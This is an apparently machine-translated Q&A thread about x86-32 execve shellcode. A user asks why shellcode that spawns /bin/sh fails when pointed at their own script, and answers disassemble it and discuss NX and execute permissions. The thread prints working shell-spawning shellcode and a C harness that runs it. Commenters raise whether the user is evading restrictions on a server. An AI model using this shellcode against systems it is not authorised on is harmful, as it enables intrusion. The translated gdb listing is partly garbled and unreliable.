外壳代码执行/bin/sh但不执行。/abcde

外壳代码执行/bin/sh但不执行。/abcde,c,assembly,x86,shellcode,C,Assembly,X86,Shellcode,我试图在一个服务器上运行一些外壳代码,在这个服务器上我没有访问外壳的权限,但是我可以访问我自己的可执行bash脚本 我的外壳代码如下所示: unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43" "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh"; 当我在本地

我试图在一个服务器上运行一些外壳代码,在这个服务器上我没有访问外壳的权限,但是我可以访问我自己的可执行bash脚本

我的外壳代码如下所示:

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                        "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
当我在本地运行它时,我会用代码生成一个shell。我还可以运行其他命令,如/bin/ls。。。但是,当我尝试将/bin/sh改为/abcde时,它不会运行我的可执行文件

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                        "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
我做错了什么?我在x86-32机器上

编辑: 更清楚地说,这是一个场景:

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                   "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";

  unsigned char code1[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                   "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";

 int main(void){
 void (*f)(void);
 f = (void (*)(void))code; //works
 f = (void (*)(void))code1; //Does NOT work
 f();
 }

由于字符串中包含ia32指令,因此程序的可移植性不强。在gdb的帮助下,阅读起来更容易:

  (gdb) disassemble/r code,code1
  Dump of assembler code from 0x804a040 to 0x804a080:
       0x0804a040 <code+0>: eb 15   jmp    0x804a057 <code+23>
       0x0804a042 <code+2>: 5b      pop    %ebx
       0x0804a043 <code+3>: 31 c0   xor    %eax,%eax
       0x0804a045 <code+5>: 89 5b 08        mov    %ebx,0x8(%ebx)
       0x0804a048 <code+8>: 88 43 07        mov    %al,0x7(%ebx)
       0x0804a04b <code+11>:        8d 4b 08        lea    0x8(%ebx),%ecx
       0x0804a04e <code+14>:        89 43 0c        mov    %eax,0xc(%ebx)
       0x0804a051 <code+17>:        89 c2   mov    %eax,%edx
       0x0804a053 <code+19>:        b0 0b   mov    $0xb,%al
       0x0804a055 <code+21>:        cd 80   int    $0x80
       0x0804a057 <code+23>:        e8 e6 ff ff ff  call   0x804a042 <code+2>
       0x0804a05c <code+28>:        2f      das
       0x0804a05d <code+29>:        62 69 6e        bound  %ebp,0x6e(%ecx)
       0x0804a060 <code+32>:        2f      das
       0x0804a061 <code+33>:        73 68   jae    0x804a0cb
       0x0804a063 <code+35>:        00 00   add    %al,(%eax)
       0x0804a065:  00 00   add    %al,(%eax)
       0x0804a067:  00 00   add    %al,(%eax)
       0x0804a069:  00 00   add    %al,(%eax)
       0x0804a06b:  00 00   add    %al,(%eax)
       0x0804a06d:  00 00   add    %al,(%eax)
       0x0804a06f:  00 00   add    %al,(%eax)
       0x0804a071:  00 00   add    %al,(%eax)
       0x0804a073:  00 00   add    %al,(%eax)
       0x0804a075:  00 00   add    %al,(%eax)
       0x0804a077:  00 00   add    %al,(%eax)
       0x0804a079:  00 00   add    %al,(%eax)
       0x0804a07b:  00 00   add    %al,(%eax)
       0x0804a07d:  00 00   add    %al,(%eax)
       0x0804a07f:  00 eb   add    %ch,%bl
(gdb)反汇编/r代码,代码1
将汇编程序代码从0x804a040转储到0x804a080:
0x0804a040:eb 15 jmp 0x804a057
0x0804a042:5b pop%ebx
0x0804a043:31 c0异或%eax,%eax
0x0804a045:89 5b 08 mov%ebx,0x8(%ebx)
0x0804a048:88 43 07 mov%al,0x7(%ebx)
0x0804a04b:8d 4b 08 lea 0x8(%ebx),%ecx
0x0804a04e:89 43 0c mov%eax,0xc(%ebx)
0x0804a051:89 c2 mov%eax,%edx
0x0804a053:B00B mov$0xb,%al
0x0804a055:cd 80内部$0x80
0x0804a057:e8 e6 ff ff ff呼叫0x804a042
0x0804a05c:2f das
0x0804a05d:62 69 6e绑定%ebp,0x6e(%ecx)
0x0804a060:2f das
0x0804a061:73 68 jae 0x804a0cb
0x0804a063:00添加%al,(%eax)
0x0804a065:00添加%al,(%eax)
0x0804a067:00添加%al,(%eax)
0x0804a069:00添加%al,(%eax)
0x0804a06b:00添加%al,(%eax)
0x0804a06d:00添加%al,(%eax)
0x0804a06f:00添加%al,(%eax)
0x0804a071:00添加%al,(%eax)
0x0804a073:00添加%al,(%eax)
0x0804a075:00添加%al,(%eax)
0x0804a077:00添加%al,(%eax)
0x0804a079:00添加%al,(%eax)
0x0804a07b:00添加%al,(%eax)
0x0804a07d:00添加%al,(%eax)
0x0804a07f:00 eb添加%ch,%bl
然而,一个有用的编译器将代码放在一个变量段中,当处理器跳转到“字符串”adn试图从中执行时,这将导致一个分段错误

我认为这是一个类似的问题:

仔细阅读这个问题可以揭示实际情况。事实上,编译器会很高兴地把它放在一个可变的区域中;然而,目标操作系统平台可能没有启用NX(在任意32位进程上启用NX在很长一段时间内都会导致灾难,因为GCC扩展要求堆栈是可执行的)


实际问题是您没有对bash的执行权限。您的./abcde是您自己承认的bash脚本,因此加载程序解释#/bin/bash,转到open/bin/bash,发现您没有x权限和BARF。exec()返回-Esomething,当您运行外壳代码结束时,结果不可预测。

因此,基本上您是在试图规避对非您所有的计算机施加的限制。。。如果你希望人们愿意帮助你,你应该编辑问题并澄清实际情况。这是选自比赛的吗?或者什么?它实际上在我自己的机器上-但是我通过服务器客户端(都在我的机器上)进行攻击,由于服务器的原因,我无法生成生成shell并抛出命令。但是我已经制作了一个bash脚本,可以在我调用的目录中执行,并且希望执行这个脚本。另外-如果在本地的小程序中测试外壳代码,外壳代码会生成外壳,但是如果将/bin/sh替换为/abcde,则不会运行脚本。请尝试脚本的完整路径。说
/home/user/abcde
@SakthiKumar我试过-不起作用:/n你设置了执行权限了吗?